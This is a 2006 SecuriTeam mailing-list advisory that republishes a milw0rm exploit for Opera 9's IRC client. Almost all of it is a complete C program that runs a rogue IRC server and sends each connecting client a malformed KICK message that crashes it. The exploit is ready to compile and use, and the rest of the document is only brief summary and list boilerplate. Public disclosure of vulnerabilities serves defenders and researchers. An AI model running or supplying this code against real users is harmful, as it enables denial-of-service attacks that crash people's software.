[EXPL] Opera IRC Client DoS

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Opera IRC Client DoS
------------------------------------------------------------------------


SUMMARY

A vulnerability in Opera IRC support allows remote attackers to cause the 
client to crash.

DETAILS

Exploit:
/*
 * Opera 9 IRC client DOS exploit
 * by Preddy and NNP
 *
 * http://www.smashthestack.org
 * http://silenthack.co.uk
 * http://www.team-rootshell.com
 *
 * 12 August 2006
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define MYPORT 6667

#define BACKLOG 10

// : KICK\r\n

char die[] = {
    0x3a, 0x20, 0x4b, 0x49, 0x43, 0x4b, 0x0d, 0x0a, 0x00 };

void sigchld_handler(int s)
{
    while(waitpid(-1, NULL, WNOHANG) > 0);
}

int main(void)
{
    int sockfd, new_fd;
    struct sockaddr_in my_addr;
    struct sockaddr_in their_addr;
    socklen_t sin_size;
    struct sigaction sa;
    int yes=1;

    if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket");
        exit(1);
    }

    if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1) 
{
        perror("setsockopt");
        exit(1);
    }
    
    my_addr.sin_family = AF_INET;
    my_addr.sin_port = htons(MYPORT);
    my_addr.sin_addr.s_addr = INADDR_ANY;
    memset(&(my_addr.sin_zero), '\0', 8);

    if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))
                                                                   == -1) 
{
        perror("bind");
        exit(1);
    }

    if (listen(sockfd, BACKLOG) == -1) {
        perror("listen");
        exit(1);
    }

    sa.sa_handler = sigchld_handler; // reap all dead processes
    sigemptyset(&sa.sa_mask);
    sa.sa_flags = SA_RESTART;
    if (sigaction(SIGCHLD, &sa, NULL) == -1) {
        perror("sigaction");
        exit(1);
    }

    while(1) {  // main accept() loop
        sin_size = sizeof(struct sockaddr_in);
        if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,
                                                       &sin_size)) == -1) 
{
            perror("accept");
            continue;
        }
        printf("server: got connection from %s\n",
                                           
inet_ntoa(their_addr.sin_addr));
        if (!fork()) { // this is the child process
     int sentBytes = 0;
            close(sockfd); // child doesn't need the listener
            if ((sentBytes = send(new_fd, die, sizeof(die), 0)) == -1)
                perror("send");
     printf("sent %d bytes\n", sentBytes);
     sentBytes = 0;
            close(new_fd);
            exit(0);
        }
        close(new_fd);  // parent doesn't need this
    }

    return 0;
}

// milw0rm.com [2006-08-13]


ADDITIONAL INFORMATION

The information has been provided by Preddy and NNP.
The original article can be found at:  
<http://www.milw0rm.com/exploits/2179> 
http://www.milw0rm.com/exploits/2179



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.